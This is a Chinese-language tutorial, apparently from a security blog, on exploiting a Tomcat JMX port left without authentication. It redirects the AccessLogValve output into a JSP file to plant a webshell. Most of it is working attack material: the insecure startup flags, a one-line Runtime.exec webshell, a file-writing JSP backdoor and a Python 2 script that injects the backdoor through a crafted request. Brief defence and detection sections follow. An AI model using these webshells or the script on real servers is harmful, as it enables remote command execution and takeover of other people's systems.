利用tomcat的JMX端口上传webshell
字数 1501 2025-08-27 12:33:22
利用Tomcat JMX端口上传WebShell技术分析
一、技术背景
Tomcat的JMX(Java Management Extensions)管理接口如果配置不当,特别是当配置为无认证访问时,攻击者可以利用该接口获取敏感信息并上传WebShell。本技术主要针对Tomcat JMX管理接口未正确配置认证机制的安全漏洞。
二、漏洞利用前提条件
- Tomcat JMX接口暴露在外网或内网可访问
- JMX配置为无密码访问(authenticate=false)
- JMX未启用SSL加密(ssl=false)
三、详细利用步骤
1. 配置Tomcat JMX无认证访问
修改Tomcat启动脚本catalina.sh,添加以下配置:
CATALINA_OPTS="$JAVA_OPTS -Djava.rmi.server.hostname=192.168.1.100 -Dcom.sun.management.jmxremote.port=1099 -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false"
参数说明:
java.rmi.server.hostname: 指定JMX服务绑定的主机IPcom.sun.management.jmxremote.port: JMX服务监听端口(1099)com.sun.management.jmxremote.authenticate: 是否启用认证(false表示不启用)com.sun.management.jmxremote.ssl: 是否启用SSL加密(false表示不启用)
修改后重启Tomcat服务:
./shutdown.sh
./startup.sh
2. 连接JMX服务获取信息
本地运行jconsole连接JMX服务:
- 在Windows运行框中输入
jconsole - 连接到远程进程:
service:jmx:rmi:///jndi/rmi://192.168.1.100:1099/jmxrmi
通过JMX可以获取以下关键信息:
- Tomcat的web主目录:
Dcatalina.home=/opt/apache-tomcat-8.0.3 /manager/html后台的访问密码
3. 上传WebShell
通过JMX的MBeans操作上传WebShell:
- 导航路径:
MBeans -> Catalina -> Valve -> localhost -> AccessLogValue -> 操作 - 写入JSP后门文件路径:
../webapps/docs/test11.jsp - 实际写入路径:
/opt/apache-tomcat-8.0.3/webapps/docs/test11.jsp
4. WebShell代码示例
简单命令执行WebShell:
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
高级文件管理WebShell:
<%@ page language="java" pageEncoding="gbk"%>
<jsp:directive.page import="java.io.File"/>
<jsp:directive.page import="java.io.OutputStream"/>
<jsp:directive.page import="java.io.FileOutputStream"/>
<%
int i=0;
String method=request.getParameter("act");
if(method!=null && method.equals("yoco")){
String url=request.getParameter("url");
String text=request.getParameter("smart");
File f=new File(url);
if(f.exists()){
f.delete();
}
try{
OutputStream o=new FileOutputStream(f);
o.write(text.getBytes());
o.close();
}catch(Exception e){
i++;
%>0<%
}
}
if(i==0){
%>1<%
}
%>
<form action='?act=yoco' method='post'>
<input size="100" value="<%=application.getRealPath("/")%>" name="url"><br>
<textarea rows="20" cols="80" name="smart"></textarea>
<input type="submit" value="Save">
</form>
5. 自动化利用脚本(jmx.py)
#!/usr/bin/env python
#coding=utf8
import sys
import urlparse
import urllib2
if __name__ == '__main__':
url = 'http://192.168.1.100:8080'
reqBind = '''/test?<%@ page language="java" pageEncoding="gbk"%><jsp:directive.page import="java.io.File"/><jsp:directive.page import="java.io.OutputStream"/><jsp:directive.page import="java.io.FileOutputStream"/><%int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>0<%}}if(i==0){%>1<%}%><form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/")%>" name="url"><br><textarea rows="20" cols="80" name="smart">'''
reqBind = reqBind.decode('utf-8')
proxies = {"http":"http://127.0.0.1:8080"}
try:
print "\n[*]webshell:"
print url + "/docs/test11.jsp"
request = urllib2.Request(url+reqBind)
request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0')
request.add_header('Accept-Language', 'en-us;q=0.5,en;q=0.3')
request.add_header('Referer', request.get_full_url())
u = urllib2.urlopen(request, timeout=3)
content = u.read()
content = content.encode("utf-8")
print "\n[*]response:\n"
print content
except Exception as e:
print e
四、防御措施
- 启用JMX认证:设置
-Dcom.sun.management.jmxremote.authenticate=true - 配置强密码:修改
jmxremote.password文件设置复杂密码 - 启用SSL加密:设置
-Dcom.sun.management.jmxremote.ssl=true - 限制访问IP:通过防火墙限制JMX端口的访问来源
- 监控JMX端口:对JMX端口的异常连接进行监控和告警
- 最小权限原则:不要使用root或管理员权限运行Tomcat
五、检测方法
- 使用nmap扫描目标服务器1099端口是否开放
- 尝试使用jconsole连接JMX服务,检查是否需要认证
- 检查Tomcat启动参数是否包含不安全的JMX配置
六、漏洞影响
成功利用此漏洞攻击者可以:
- 获取Tomcat服务器敏感配置信息
- 上传WebShell获取服务器控制权
- 执行任意系统命令
- 读写服务器文件系统
- 进一步渗透内网其他系统